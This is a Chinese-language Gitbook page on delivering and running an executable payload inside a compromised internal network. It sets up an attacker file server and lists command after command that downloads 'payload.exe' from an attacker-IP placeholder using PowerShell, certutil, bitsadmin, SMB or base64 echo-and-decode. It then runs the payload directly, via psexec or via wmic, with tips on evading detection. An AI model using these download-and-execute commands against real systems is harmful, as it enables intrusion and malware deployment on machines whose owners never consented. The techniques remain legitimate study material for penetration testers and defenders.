内网文件 exe 落地怎么去做,用什么命令去执行来落地

1. 文件落地前的准备

在执行文件落地之前,你需要做好以下准备工作:

  • 选择合适的工具:你需要一个轻量、隐蔽、功能强大的工具,例如 meterpreter,它支持直接在内存中执行 Shellcode,避免文件落地。如果你必须落地文件,可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload
  • 设置文件服务器:在你的攻击机上,你需要搭建一个简单的 Web 服务器或 SMB 服务器,以便目标机器能够下载文件
    • HTTP 服务器:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:python3 -m http.server 80
    • SMB 服务器:使用 Impacket 工具包中的 smbserver.py 脚本,可以搭建一个 SMB 服务器

2. 内网文件落地常用命令

一旦你获得了目标机器的权限,就可以使用以下命令来下载文件:

方法一:使用 PowerShell (推荐)

PowerShell 是现代 Windows 系统自带的强大脚本语言,也是渗透测试中最常用的文件落地工具

  • 使用 Invoke-WebRequestiwr 这是最常用的方法,它可以在后台下载文件,并且功能强大

    # 下载文件并保存到指定路径
    Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
    # 或者使用别名
    iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe
    
  • 使用 .NET 对象 这种方法更隐蔽,因为它直接调用 .NET 库,而不是通过一个特定的 cmdlet

    $WebClient = New-Object System.Net.WebClient
    $WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe")
    

方法二:使用 certutil

certutil 是 Windows 系统自带的命令行工具,通常用于管理证书,但它也提供了下载文件的功能

  • 下载命令

    certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe
    
    • -urlcache:允许从 URL 下载
    • -split:将下载的文件保存为独立文件
    • -f:强制下载文件

方法三:使用 bitsadmin

bitsadmin 是 Windows 后台智能传输服务(BITS)的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载,非常适合在不稳定网络环境下使用

  • 下载命令

    bitsadmin /transfer myjob http://<攻击机IP>/payload.exe C:\Users\Public\payload.exe
    

方法四:使用 SMB 协议

如果你在攻击机上搭建了 SMB 服务器,可以直接通过 SMB 协议传输文件,这在许多环境中比 HTTP 更隐蔽

  • 下载命令

    copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe
    

方法五:将文件内容写入文件

这是一个非常隐蔽的方法,特别适用于 Shell 权限受限,无法直接执行下载命令的情况

  • 原理:你将文件的二进制内容转换为文本格式(例如十六进制字符串),然后通过 echo 命令或 certutil -decode 等方式,将文本内容写入一个新文件,并将其解码为可执行文件

  • 示例

    1. 在攻击机上,将 payload.exe 转换为 Base64 编码:base64 payload.exe > payload.b64

    2. 在目标机上,使用 echo 将 Base64 字符串写入一个临时文件:

      echo <base64编码字符串> > C:\Users\Public\payload.b64
      
    3. 使用 certutil 将 Base64 文件解码为可执行文件:

      certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe
      

3. 文件落地后的执行

文件落地成功后,你需要执行它。执行命令取决于你获得的权限

  • 在命令行中直接执行 如果你已经获得了 Shell,可以直接输入文件路径来执行:C:\Users\Public\payload.exe

  • 使用 psexec 如果你有域管理员权限,可以使用 psexec 在目标机器上远程执行文件

  • 使用 WMI 利用 Windows Management Instrumentation (WMI),你可以通过远程方式在目标机器上执行进程

    wmic process call create "C:\Users\Public\payload.exe"
    
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:12:57

results matching ""

    No results matching ""